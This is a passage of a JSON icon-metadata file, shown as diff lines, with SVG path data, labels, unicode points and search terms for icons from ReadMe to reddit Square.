15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z" + } + }, + "free": [ + "brands" + ] + }, + "readme": { + "changes": [ + "5.0.9", + "5.0.10" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4d5", + "label": "ReadMe", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861016, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z" + } + }, + "free": [ + "brands" + ] + }, + "rebel": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1d0", + "label": "Rebel Alliance", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861016, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z" + } + }, + "free": [ + "brands" + ] + }, + "receipt": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "check", + "invoice", + "money", + "pay", + "table" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f543", + "label": "Receipt", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635658, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M358.4 3.2L320 48 265.6 3.2a15.9 15.9 0 0 0-19.2 0L192 48 137.6 3.2a15.9 15.9 0 0 0-19.2 0L64 48 25.6 3.2C15-4.7 0 2.8 0 16v480c0 13.2 15 20.7 25.6 12.8L64 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L192 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L320 464l38.4 44.8c10.5 7.9 25.6.4 25.6-12.8V16c0-13.2-15-20.7-25.6-12.8zM320 360c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M358.4 3.2L320 48 265.6 3.2a15.9 15.9 0 0 0-19.2 0L192 48 137.6 3.2a15.9 15.9 0 0 0-19.2 0L64 48 25.6 3.2C15-4.7 0 2.8 0 16v480c0 13.2 15 20.7 25.6 12.8L64 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L192 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L320 464l38.4 44.8c10.5 7.9 25.6.4 25.6-12.8V16c0-13.2-15-20.7-25.6-12.8zM320 360c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16z" + } + }, + "free": [ + "solid" + ] + }, + "record-vinyl": { + "changes": [ + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "LP", + "album", + "analog", + "music", + "phonograph", + "sound" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f8d9", + "label": "Record Vinyl", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635659, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 152a104 104 0 1 0 104 104 104 104 0 0 0-104-104zm0 128a24 24 0 1 1 24-24 24 24 0 0 1-24 24zm0-272C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 376a128 128 0 1 1 128-128 128 128 0 0 1-128 128z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 152a104 104 0 1 0 104 104 104 104 0 0 0-104-104zm0 128a24 24 0 1 1 24-24 24 24 0 0 1-24 24zm0-272C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 376a128 128 0 1 1 128-128 128 128 0 0 1-128 128z" + } + }, + "free": [ + "solid" + ] + }, + "recycle": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Waste", + "compost", + "garbage", + "reuse", + "trash" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1b8", + "label": "Recycle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635660, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184.561 261.903c3.232 13.997-12.123 24.635-24.068 17.168l-40.736-25.455-50.867 81.402C55.606 356.273 70.96 384 96.012 384H148c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12H96.115c-75.334 0-121.302-83.048-81.408-146.88l50.822-81.388-40.725-25.448c-12.081-7.547-8.966-25.961 4.879-29.158l110.237-25.45c8.611-1.988 17.201 3.381 19.189 11.99l25.452 110.237zm98.561-182.915l41.289 66.076-40.74 25.457c-12.051 7.528-9 25.953 4.879 29.158l110.237 25.45c8.672 1.999 17.215-3.438 19.189-11.99l25.45-110.237c3.197-13.844-11.99-24.719-24.068-17.168l-40.687 25.424-41.263-66.082c-37.521-60.033-125.209-60.171-162.816 0l-17.963 28.766c-3.51 5.62-1.8 13.021 3.82 16.533l33.919 21.195c5.62 3.512 13.024 1.803 16.536-3.817l17.961-28.743c12.712-20.341 41.973-19.676 54.257-.022zM497.288 301.12l-27.515-44.065c-3.511-5.623-10.916-7.334-16.538-3.821l-33.861 21.159c-5.62 3.512-7.33 10.915-3.818 16.536l27.564 44.112c13.257 21.211-2.057 48.96-27.136 48.96H320V336.02c0-14.213-17.242-21.383-27.313-11.313l-80 79.981c-6.249 6.248-6.249 16.379 0 22.627l80 79.989C302.689 517.308 320 510.3 320 495.989V448h95.88c75.274 0 121.335-82.997 81.408-146.88z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M184.561 261.903c3.232 13.997-12.123 24.635-24.068 17.168l-40.736-25.455-50.867 81.402C55.606 356.273 70.96 384 96.012 384H148c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12H96.115c-75.334 0-121.302-83.048-81.408-146.88l50.822-81.388-40.725-25.448c-12.081-7.547-8.966-25.961 4.879-29.158l110.237-25.45c8.611-1.988 17.201 3.381 19.189 11.99l25.452 110.237zm98.561-182.915l41.289 66.076-40.74 25.457c-12.051 7.528-9 25.953 4.879 29.158l110.237 25.45c8.672 1.999 17.215-3.438 19.189-11.99l25.45-110.237c3.197-13.844-11.99-24.719-24.068-17.168l-40.687 25.424-41.263-66.082c-37.521-60.033-125.209-60.171-162.816 0l-17.963 28.766c-3.51 5.62-1.8 13.021 3.82 16.533l33.919 21.195c5.62 3.512 13.024 1.803 16.536-3.817l17.961-28.743c12.712-20.341 41.973-19.676 54.257-.022zM497.288 301.12l-27.515-44.065c-3.511-5.623-10.916-7.334-16.538-3.821l-33.861 21.159c-5.62 3.512-7.33 10.915-3.818 16.536l27.564 44.112c13.257 21.211-2.057 48.96-27.136 48.96H320V336.02c0-14.213-17.242-21.383-27.313-11.313l-80 79.981c-6.249 6.248-6.249 16.379 0 22.627l80 79.989C302.689 517.308 320 510.3 320 495.989V448h95.88c75.274 0 121.335-82.997 81.408-146.88z" + } + }, + "free": [ + "solid" + ] + }, + "red-river": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3e3", + "label": "red river", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861016, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z" + } + }, + "free": [ + "brands" + ] + }, + "reddit": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a1", + "label": "reddit Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861017, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z" + } + }, + "free": [ + "brands" + ] + }, + "reddit-alien": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f281", + "label": "reddit Alien", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861016, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z" + } + }, + "free": [ + "brands" + ] + }, + "reddit-square": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a2", + "label": "reddit Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861017, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 